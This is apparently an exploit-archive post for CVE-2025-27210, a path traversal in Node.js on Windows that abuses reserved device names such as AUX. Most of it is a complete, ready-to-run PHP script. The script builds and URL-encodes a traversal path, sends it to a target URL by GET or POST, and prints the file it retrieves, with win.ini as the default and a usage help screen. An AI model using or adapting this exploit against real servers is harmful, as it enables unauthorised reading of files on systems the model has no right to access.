📄 NodeJS 24.x Path Traversal

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    | # Title     : NodeJS 24.x Precise Windows Path Traversal via Reserved Device Names                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://nodejs.org/download/release/latest-v24.x/                                                                           |
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    [+] References : https://packetstorm.news/files/id/207136/ &  	CVE-2025-27210
    
    [+] Summary    : This Proof of Concept demonstrates a precise Path Traversal vulnerability affecting Node.js applications running on Windows. 
                     The issue arises from improper handling of Windows reserved device names (such as AUX) when combined with deep traversal sequences (..\\). 
                     By abusing normalization logic in functions like path.normalize() or path.join(), an attacker can bypass intended directory restrictions and access arbitrary files on the filesystem. 
                     The PoC supports both GET and POST methods, performs careful URL encoding, and validates successful exploitation by inspecting retrieved file contents (e.g., win.ini). 
                     This vulnerability highlights the risks of platform-specific path semantics and underscores the need for strict, canonical path validation on Windows environments..
    
    [+] PoC : 
    
    <?php
    
    /**
     * Usage: php poc.php -t http://target -f C:\\Windows\\win.ini -m GET
     */
    
    class PathTraversalExploit {
        
        /**
         * استغلال ثغرة المسار الدقيق
         */
        public function exploitPathTraversalPrecise($targetUrl, $targetFile, $method) {
            $traverseSequence = str_repeat("..\\", 6);
            $normalizedTargetFile = preg_replace('/^C:/', '', $targetFile);
            $normalizedTargetFile = ltrim($normalizedTargetFile, "\\/");
            
            $maliciousPath = $traverseSequence . "AUX\\..\\" . $normalizedTargetFile;
            $encodedMaliciousPath = urlencode($maliciousPath);
            $fullUrl = rtrim($targetUrl, '/') . '/' . $encodedMaliciousPath;
            
            $responseData = [
                "target_url" => $targetUrl,
                "target_file_attempted" => $targetFile,
                "malicious_path_sent_raw" => $maliciousPath,
                "malicious_path_sent_encoded" => $encodedMaliciousPath,
                "full_request_url" => $fullUrl,
                "http_method" => $method,
                "success" => false,
                "response_status_code" => null,
                "response_content_length" => null,
                "extracted_content" => null,
                "error_message" => null
            ];
            
            try {
                echo "[*] Preparing precise Path Traversal exploit...\n";
                echo "[*] Malicious Path (Encoded): $encodedMaliciousPath\n";
                echo "[*] Request URL: $fullUrl\n";
                
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 15);
                curl_setopt($ch, CURLOPT_HEADER, false);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 PathTraversalExploit/1.0');
                
                if (strtoupper($method) === 'GET') {
                    curl_setopt($ch, CURLOPT_URL, $fullUrl);
                } elseif (strtoupper($method) === 'POST') {
                    curl_setopt($ch, CURLOPT_URL, $targetUrl);
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, ['filename' => $encodedMaliciousPath]);
                } else {
                    throw new Exception("Unsupported HTTP method. Use 'GET' or 'POST'.");
                }
                
                $content = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                $contentLength = strlen($content);
                
                $responseData["response_status_code"] = $httpCode;
                $responseData["response_content_length"] = $contentLength;
                
                if ($httpCode == 200) {
                    $responseData["extracted_content"] = $content;
                    
                    if (stripos($targetFile, "win.ini") !== false && stripos($content, "[windows]") !== false) {
                        $responseData["success"] = true;
                    } elseif (!empty($content)) {
                        $responseData["success"] = true;
                    } else {
                        $responseData["error_message"] = "Received 200 OK, but content is empty or unexpected.";
                    }
                } else {
                    $responseData["error_message"] = "Server responded with non-200 status code: $httpCode";
                }
                
                curl_close($ch);
                
            } catch (Exception $e) {
                $responseData["error_message"] = "An unexpected error occurred: " . $e->getMessage();
            }
            
            return $responseData;
        }
        
        /**
         * عرض المساعدة
         */
        public function showHelp() {
            echo "\n" . str_repeat("=", 70) . "\n";
            echo "      CVE-2025-27210 Node.js Path Traversal Exploit PoC - PHP Version\n";
            echo str_repeat("=", 70) . "\n";
            echo "Usage: php " . basename(__FILE__) . " [options]\n\n";
            echo "Options:\n";
            echo "  -t, --target    Base URL of the vulnerable Node.js application endpoint\n";
            echo "                  (e.g., http://localhost:3000/files)\n";
            echo "  -f, --file      Absolute path to the target file on Windows system\n";
            echo "                  Default: C:\\Windows\\win.ini\n";
            echo "  -m, --method    HTTP method for request (GET or POST)\n";
            echo "                  Default: GET\n";
            echo "  -h, --help      Show this help message\n\n";
            echo "Examples:\n";
            echo "  php " . basename(__FILE__) . " -t http://localhost:3000/files -f C:\\Windows\\win.ini\n";
            echo "  php " . basename(__FILE__) . " -t http://target/files -f C:\\secret.txt -m POST\n";
            echo str_repeat("=", 70) . "\n\n";
        }
        
        /**
         * الرئيسية
         */
        public function main($argv) {
            $shortOpts = "t:f:m:h";
            $longOpts = [
                "target:",
                "file:",
                "method:",
                "help"
            ];
            
            $options = getopt($shortOpts, $longOpts);
            
            // عرض المساعدة إذا طلب
            if (isset($options['h']) || isset($options['help'])) {
                $this->showHelp();
                exit(0);
            }
            
            // التحقق من المعاملات المطلوبة
            if (!isset($options['t']) && !isset($options['target'])) {
                echo "Error: Target URL is required!\n";
                $this->showHelp();
                exit(1);
            }
            
            $target = $options['t'] ?? $options['target'] ?? null;
            $file = $options['f'] ?? $options['file'] ?? "C:\\Windows\\win.ini";
            $method = $options['m'] ?? $options['method'] ?? "GET";
            
            echo "\n" . str_repeat("=", 70) . "\n";
            echo "      CVE-2025-27210 Node.js Path Traversal Exploit PoC - PHP Version\n";
            echo str_repeat("=", 70) . "\n";
            echo "[*] Target URL: $target\n";
            echo "[*] Target File: $file\n";
            echo "[*] HTTP Method: $method\n";
            echo str_repeat("-", 70) . "\n\n";
            
            $result = $this->exploitPathTraversalPrecise($target, $file, $method);
            
            echo "\n" . str_repeat("-", 70) . "\n";
            echo "                   Exploit Results\n";
            echo str_repeat("-", 70) . "\n";
            echo "  Request URL: " . $result['full_request_url'] . "\n";
            echo "  Malicious Path Sent (Raw): " . $result['malicious_path_sent_raw'] . "\n";
            echo "  Malicious Path Sent (Encoded): " . $result['malicious_path_sent_encoded'] . "\n";
            echo "  Response Status Code: " . $result['response_status_code'] . "\n";
            echo "  Response Content Length: " . $result['response_content_length'] . " bytes\n";
            
            if ($result["success"]) {
                echo "\n  [+] File successfully retrieved! Content below:\n";
                echo "  " . str_repeat("=", 66) . "\n";
                echo $result["extracted_content"];
                echo "\n  " . str_repeat("=", 66) . "\n";
            } else {
                echo "\n  [-] File retrieval failed or unexpected content received.\n";
                if ($result["error_message"]) {
                    echo "  Error: " . $result['error_message'] . "\n";
                } elseif ($result["extracted_content"]) {
                    echo "\n  Response content (partial, may indicate server error or unexpected data):\n";
                    echo "  " . str_repeat("-", 66) . "\n";
                    $content = $result["extracted_content"];
                    if (strlen($content) > 1000) {
                        echo substr($content, 0, 1000) . "...\n";
                    } else {
                        echo $content . "\n";
                    }
                    echo "  " . str_repeat("-", 66) . "\n";
                }
            }
            
            echo "\n" . str_repeat("=", 70) . "\n";
            echo "                 Complete\n";
            echo str_repeat("=", 70) . "\n\n";
        }
    }
    
    // تنفيذ البرنامج
    if (PHP_SAPI === 'cli') {
        $exploit = new PathTraversalExploit();
        $exploit->main($argv);
    } else {
        echo "This script must be run from command line (CLI).\n";
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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